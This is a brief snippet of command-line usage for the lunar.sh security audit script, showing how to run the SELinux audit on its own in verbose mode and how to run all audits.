$ sh lunar.sh -s audit_selinux -v

# run all audits
$ sh lunar.sh -a